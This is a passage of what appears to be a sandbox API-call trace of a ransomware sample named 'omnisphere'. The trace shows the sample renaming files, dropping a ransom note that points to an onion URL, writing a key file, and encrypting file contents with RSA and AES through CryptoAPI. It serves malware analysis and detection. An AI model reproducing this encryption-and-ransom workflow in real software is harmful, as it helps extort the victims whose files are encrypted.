lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.643] GetProcessHeap () returned 0x1600000 [0126.643] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a0) returned 0x16da838 [0126.643] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mvw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mvw.lnk.omnisphere")) returned 1 [0126.643] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk.omnisphere.id" [0126.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mvw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.644] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.645] CloseHandle (hObject=0x3c0) returned 1 [0126.645] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.645] CloseHandle (hObject=0x288) returned 1 [0126.645] SetEndOfFile (hFile=0x28c) returned 1 [0126.645] FlushFileBuffers (hFile=0x28c) returned 1 [0126.648] CloseHandle (hObject=0x28c) returned 1 [0126.648] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MVw.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.648] GetProcessHeap () returned 0x1600000 [0126.648] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ead60 [0126.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.648] GetProcessHeap () returned 0x1600000 [0126.648] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d55a0 [0126.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d55a0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.648] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.648] GetProcessHeap () returned 0x1600000 [0126.648] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7e88 [0126.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7e88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.648] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.648] GetProcessHeap () returned 0x1600000 [0126.648] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d87b8 [0126.648] PathCombineW (in: pszDest=0x16d87b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.648] GetProcessHeap () returned 0x1600000 [0126.648] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16df2e8 [0126.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.649] WriteFile (in: hFile=0x28c, lpBuffer=0x16df2e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16df2e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.649] CloseHandle (hObject=0x28c) returned 1 [0126.649] GetProcessHeap () returned 0x1600000 [0126.649] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ead60 | out: hHeap=0x1600000) returned 1 [0126.649] GetProcessHeap () returned 0x1600000 [0126.649] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.649] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.649] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.649] CloseHandle (hObject=0x28c) returned 1 [0126.649] GetProcessHeap () returned 0x1600000 [0126.650] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.650] GetProcessHeap () returned 0x1600000 [0126.650] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b0ee8 | out: hHeap=0x1600000) returned 1 [0126.650] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed17392, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ed17392, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ed17392, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0xd3, cFileName="mxWVXd6lx22lY9jTCI.ots.lnk", cAlternateFileName="MXWVXD~1.LNK")) returned 1 [0126.650] GetProcessHeap () returned 0x1600000 [0126.650] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166ab78 [0126.650] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="mxWVXd6lx22lY9jTCI.ots.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk" [0126.650] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxWVXd6lx22lY9jTCI.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mxwvxd6lx22ly9jtci.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.650] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1262) returned 1 [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.650] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] GetTickCount () returned 0x115f9ae [0126.651] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.652] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.652] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.652] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.652] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.652] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ee, lpName=0x0) returned 0x288 [0126.652] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ee) returned 0x1480000 [0126.652] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0126.653] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.653] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.653] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.654] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.655] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 